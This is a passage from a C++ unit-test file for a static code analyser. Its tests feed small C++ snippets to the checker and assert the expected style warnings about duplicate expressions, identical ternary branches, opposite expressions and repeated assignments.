check(\"template\\n\" // #12122\n \"void f() {\\n\"\n \" static_assert(std::is_same::value || std::is_integral::value);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression18() {\n checkP(\"#if defined(ABC)\\n\" // #13218\n \"#define MACRO1 (0x1)\\n\"\n \"#else\\n\"\n \"#define MACRO1 (0)\\n\"\n \"#endif\\n\"\n \"#if defined(XYZ)\\n\"\n \"#define MACRO2 (0x2)\\n\"\n \"#else\\n\"\n \"#define MACRO2 (0)\\n\"\n \"#endif\\n\"\n \"#define MACRO_ALL (MACRO1 | MACRO2)\\n\"\n \"void f() {\\n\"\n \" if (MACRO_ALL == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionLoop() {\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" while ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:15]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() { int a = 1; while ( a != 1){ a++; }}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { int a = 1; for ( int i=0; i < 3 && a != 1; i++){ a++; }}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int b) { int a = 1; while (b) { if ( a != 1){} b++; } a++; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17] -> [test.cpp:3:15]: (style) The comparison 'i != 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) { i++; }\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) { i++; }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i = 0;\\n\"\n \" while(i < 10) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int b) {\\n\"\n \" while (b) {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \" b++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17] -> [test.cpp:4:16]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct T {\\n\" // #11083\n \" std::string m;\\n\"\n \" const std::string & str() const { return m; }\\n\"\n \" T* next();\\n\"\n \"};\\n\"\n \"void f(T* t) {\\n\"\n \" const std::string& s = t->str();\\n\"\n \" while (t && t->str() == s)\\n\"\n \" t = t->next();\\n\"\n \" do {\\n\"\n \" t = t->next();\\n\"\n \" } while (t && t->str() == s);\\n\"\n \" for (; t && t->str() == s; t = t->next());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string &out, const std::vector &list) {\\n\" // #13669\n \" for (int i = 0, size = list.size(); i < size; i++) {\\n\"\n \" out += list[i];\\n\"\n \" if (size > 0 && i < (size - 2))\\n\"\n \" out += \\\",\\\";\\n\"\n \" else if (i == (size - 1))\\n\"\n \" out += \\\".\\\";\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionTernary() { // #6391\n check(\"void f() {\\n\"\n \" return A ? x : x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression in both branches of ternary operator. [duplicateExpressionTernary]\\n\", errout_str());\n\n check(\"int f(bool b, int a) {\\n\"\n \" const int c = a;\\n\"\n \" return b ? a : c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19] -> [test.cpp:3:18]: (style) Same expression in both branches of ternary operator. [duplicateExpressionTernary]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" return A ? x : z;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(unsigned char c) {\\n\"\n \" x = y ? (signed char)c : (unsigned char)c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string stringMerge(std::string const& x, std::string const& y) {\\n\" // #7938\n \" return ((x > y) ? (y + x) : (x + y));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6426\n {\n const char code[] = \"void foo(bool flag) {\\n\"\n \" bar( (flag) ? ~0u : ~0ul);\\n\"\n \"}\";\n /*const*/ Settings settings = _settings;\n settings.platform.sizeof_int = 4;\n settings.platform.int_bit = 32;\n\n settings.platform.sizeof_long = 4;\n settings.platform.long_bit = 32;\n check(code, &settings);\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n settings.platform.sizeof_long = 8;\n settings.platform.long_bit = 64;\n check(code, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n }\n }\n\n void duplicateValueTernary() {\n check(\"void f() {\\n\"\n \" if( a ? (b ? false:false): false ) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f1(int a) {return (a == 1) ? (int)1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f2(int a) {return (a == 1) ? (int)1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f3(int a) {return (a == 1) ? 1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:36]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f4(int a) {return (a == 1) ? 1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:36]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f5(int a) {return (a == (int)1) ? (int)1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:46]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f6(int a) {return (a == (int)1) ? (int)1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:46]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f7(int a) {return (a == (int)1) ? 1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f8(int a) {return (a == (int)1) ? 1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"struct Foo {\\n\"\n \" std::vector bar{1,2,3};\\n\"\n \" std::vector baz{4,5,6};\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" Foo foo;\\n\"\n \" it = true ? foo.bar.begin() : foo.baz.begin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" std::vector bar{1,2,3};\\n\"\n \" std::vector baz{4,5,6};\\n\"\n \" std::vector v = b ? bar : baz;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool q) {\\n\" // #9570\n \" static int a = 0;\\n\"\n \" static int b = 0;\\n\"\n \" int& x = q ? a : b;\\n\"\n \" ++x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a, b; };\\n\" // #10107\n \"S f(bool x, S s) {\\n\"\n \" (x) ? f.a = 42 : f.b = 42;\\n\"\n \" return f;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) {\\n\" // # 11368\n \" return (x >= 0.0) ? 0.0 : -0.0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionTemplate() {\n check(\"template void f() {\\n\" // #6930\n \" if (I >= 0 && I < 3) {}\\n\"\n \"}\\n\"\n \"\\n\"\n \"static auto a = f<0>();\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\" // #7754\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef long long int64_t;\"\n \"template\\n\"\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define int32_t int\"\n \"template\\n\"\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define F(v) (v) != 0\\n\" // #12392\n \"template\\n\"\n \"void f() {\\n\"\n \" if (F(0)) {}\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" f();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionCompareWithZero() {\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (x != 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '||' because 'x&&b' and 'x!=0&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x != 0 && b) || (x && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same expression on both sides of '||' because 'x!=0&&b' and 'x&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (b && x != 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '||' because 'x&&b' and 'b&&x!=0' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (x == 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '||' because '!x&&b' and 'x==0&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x == 0 && b) || (!x && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same expression on both sides of '||' because 'x==0&&b' and '!x&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (b && x == 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '||' because '!x&&b' and 'b&&x==0' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" int* getX() const;\\n\"\n \" bool getB() const;\\n\"\n \" void f() {\\n\"\n \" if ((getX() && getB()) || (getX() != 0 && getB())) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:32]: (style) Same expression on both sides of '||' because 'getX()&&getB()' and 'getX()!=0&&getB()' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (x == 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (x != 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeExpression() {\n check(\"void f(bool a) { if(a && !a) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '&&'. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if(a != !a) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( a == !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( a != !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(a) == a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(a) != a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(!a) == !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(!a) != !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f1(bool a) {\\n\"\n \" const bool b = a;\\n\"\n \" if( a == !(b) ) {}\\n\"\n \" if( b == !(a) ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\"\n \"[test.cpp:2:20] -> [test.cpp:4:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f2(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( *a == !(b) ) {}\\n\"\n \" if( b == !(*a) ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:12]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\"\n \"[test.cpp:2:20] -> [test.cpp:4:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { a = !a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a) { if( a < -a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '<'. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(int a) { a -= -a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a) { a = a / (-a); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int i){ return !((i - 1) & i); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(unsigned i){ return (x > 0) && (x & (x-1)) == 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void A::f(bool a, bool c)\\n\"\n \"{\\n\"\n \" const bool b = a;\\n\"\n \" if(c) { a = false; }\\n\"\n \" if(b && !a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool c) {\\n\"\n \" const bool b = a;\\n\"\n \" if(c) { a = false; }\\n\"\n \" if(b && !a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" bool x = a;\\n\"\n \" dostuff();\\n\"\n \" if (x && a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const bool b = g();\\n\"\n \" if (!b && g()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = a[42];\\n\"\n \" if( b == !(a[42]) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = a[42];\\n\"\n \" if( a[42] == !(b) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21] -> [test.cpp:3:15]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( b == !(*a) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( *a == !(b) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:12]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(uint16_t u) {\\n\" // #9342\n \" if (u != (u & -u))\\n\"\n \" return false;\\n\"\n \" if (u != (-u & u))\\n\"\n \" return false;\\n\"\n \" return true;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateVarExpression() {\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f();\\n\"\n \" int j = f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" Foo f2 = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9] -> [test.cpp:5:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = 1 + f();\\n\"\n \" int j = 1 + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f() + 1;\\n\"\n \" int j = 1 + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int x = f();\\n\"\n \" int i = x + 1;\\n\"\n \" int j = f() + 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f() + f();\\n\"\n \" int j = f() + f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f(int) __attribute__((pure));\\n\"\n \"int g(int) __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"int f(int) __attribute__((pure));\\n\"\n \"int g(int) __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" const int x = 0;\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(const int * p, const int * q) {\\n\"\n \" int i = *p;\\n\"\n \" int j = *p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = 0;\\n\"\n \" int j = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = -1;\\n\"\n \" int j = -1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int);\\n\"\n \"void test() {\\n\"\n \" int i = f(0);\\n\"\n \" int j = f(1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f();\\n\"\n \"int g();\\n\"\n \"void test() {\\n\"\n \" int i = f() || f();\\n\"\n \" int j = f() && f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {};\\n\"\n \"void test() {\\n\"\n \" Foo i = Foo();\\n\"\n \" Foo j = Foo();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {};\\n\"\n \"void test() {\\n\"\n \" Foo i = Foo{};\\n\"\n \" Foo j = Foo{};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo { int f() const; float g() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f(); int g(); };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test() {\\n\"\n \" int i = f();\\n\"\n \" int j = f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = ++x;\\n\"\n \" int j = ++x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x++;\\n\"\n \" int j = x++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = --x;\\n\"\n \" int j = --x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x--;\\n\"\n \" int j = x--;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void test(int x) {\\n\"\n \" int i = x + 1;\\n\"\n \" int j = 1 + x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateVarExpressionUnique() {\n check(\"struct SW { int first; };\\n\"\n \"void foo(SW* x) {\\n\"\n \" int start = x->first;\\n\"\n \" int end = x->first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'start' and 'end'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:2:14]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct SW { int first; };\\n\"\n \"void foo(SW* x, int i, int j) {\\n\"\n \" int start = x->first;\\n\"\n \" int end = x->first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'start' and 'end'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:2:14]: (style) Parameter 'x' can be declared as pointer to const [constParameterPointer]\\n\",\n errout_str());\n\n check(\"struct Foo { int f() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"void test(const int * p) {\\n\"\n \" int i = *p;\\n\"\n \" int j = *p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; int g(int) const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct Foo { int f() const; };\\n\"\n \"void test() {\\n\"\n \" Foo f = Foo{};\\n\"\n \" int i = f.f();\\n\"\n \" int j = f.f();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:4:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n }\n\n void duplicateVarExpressionAssign() {\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(i);\\n\"\n \" i = j;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" j = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\", errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" if (i == j) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:3:14] -> [test.cpp:4:14] -> [test.cpp:6:11]: (style) The comparison 'i == j' is always true because 'i' and 'j' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(j);\\n\"\n \" if (i == a.x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:3:14] -> [test.cpp:6:11]: (style) The comparison 'i == a.x' is always true because 'i' and 'a.x' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct A { int x; int y; };\"\n \"void use(int);\\n\"\n \"void test(A a) {\\n\"\n \" int i = a.x;\\n\"\n \" int j = a.x;\\n\"\n \" use(i);\\n\"\n \" if (j == a.x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:9] -> [test.cpp:3:9]: (style, inconclusive) Same expression used in consecutive assignments of 'i' and 'j'. [duplicateAssignExpression]\\n\"\n \"[test.cpp:4:14] -> [test.cpp:6:11]: (style) The comparison 'j == a.x' is always true because 'j' and 'a.x' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n // Issue #8612\n check(\"struct P\\n\"\n \"{\\n\"\n \" void func();\\n\"\n \" bool operator==(const P&) const;\\n\"\n 